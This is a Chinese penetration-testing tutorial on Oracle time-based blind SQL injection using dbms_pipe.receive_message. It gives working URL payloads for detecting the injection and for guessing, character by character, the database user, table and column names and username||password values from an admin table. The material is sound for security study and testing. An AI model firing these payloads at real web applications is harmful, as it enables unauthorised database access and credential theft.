82.网络安全渗透测试—[SQL注入篇21]—Oracle+JSP-pipe.receive_message延时注入
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
一、Oracle+JSP 延时注入
1、简介
DBMS_LOCK.SLEEP()函
数可以让一个过程休眠很多秒,但使用该函数存在许多限制。首先,不能直接将该函数注入子查询中,因为Oracle不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用DBMS_LOCK包。
在Oracle PL/SQL中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:dbms_pipe.receive_message('RDS', 10)
DBMS_PIPE.RECEIVE_MESSAGE()函数
将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。而DBMS_LOCK.SLEEP()与之相反,只有数据库管理员才能使用DBMS_LOCK包。
2、注入技巧
延时注入 属于盲注入的一种,适用的场景较多,基本上任何注入都可以使用这种注入方式进行测试。
二、pipe.receive_message 延时注入示例
1、判断是否存在注入
(1)判断是否存在注入-payload1:?id=1 and 1=dbms_pipe.receive_message('RDS', 10)--
如果页面延时10秒返回,即存在注入。
2、猜解长度并逐个猜解字符
(2)猜解用户名的长度-payload2:?id=1 and 1=(select decode(length(user),6,dbms_pipe.receive_message('RDS',10),0) from dual)--
(3)猜解用户名的第一个字符是否为S-payload3:?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual)--
3、以上可以替换的SQL语句
(1)获取当前数据库版本:select banner from sys.v_$version where rownum=1
(2)获取当前用户:select user from dual
(3)获取日志文件位置:select member from v$logfile where rownum=1
(4)获取Oracle服务器监听IP:select utl_inaddr.get_host_address from dual
(5)获取Oracle服务器sid实例名称(远程连接该服务的时候可能会需要):select instance_name from v$instance
(6)获取当前连接用户:select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual
(7)定位文件位置:select name FROM V$DATAFILE
(8)查库名:select owner from all_tables where rownum=1
(9)查库名(排除SYS库):select owner from all_tables where rownum=1 and owner <>'SYS'
(10)查表名:select table_name from user_tables where rownum=1
(11)查表面(排除ADMIN表):select table_name from user_tables where rownum=1 and table_name<>'ADMIN'
(12)查列名:select column_name from user_tab_columns where table_name='ADMIN' and rownum=1
(13)查列名(排除ID列):select column_name from user_tab_columns where table_name='ADMIN' and rownum=1 and column_name<>'ID'
(14)查字段值(username||password):select username%7C%7Cpassword from admin
(15)查字段值(username||password)的第一条记录:select username%7C%7Cpassword from admin where rownum=1
替换示例:?id=1 and 1=(select decode(length((select owner from all_tables where rownum=1)),3,dbms_pipe.receive_message('RDS',10),0) from dual)--
相关文章
- 【Oracle】Exadata虚拟机配置(一)
- oracle数据库审计用什么数据库审计软件好?可以用什么方式部署?
- oracle错误备忘(ORA-00354,ORA-00353和ORA-00312的处理方法)
- oracle函数 LPAD(c1,n[,c2])
- oracle函数 ASCII(x1)
- 转 Oracle TNS-01106
- 《Oracle高性能自动化运维》一一3.5 小结
- Oracle——检查数据库是否正常运行,如果没有,并重启数据库
- Oracle 12c ASM 防范异常的恢复增强
- oracle限制查询条数-rownum用法详解
- oracle 切换ORACLE_SID cat /u02/oracle/product/11.2.0/network/admin/tnsnames.ora cd /u02/oracle/product/11.2.0/dbs
- Oracle 数据库的安装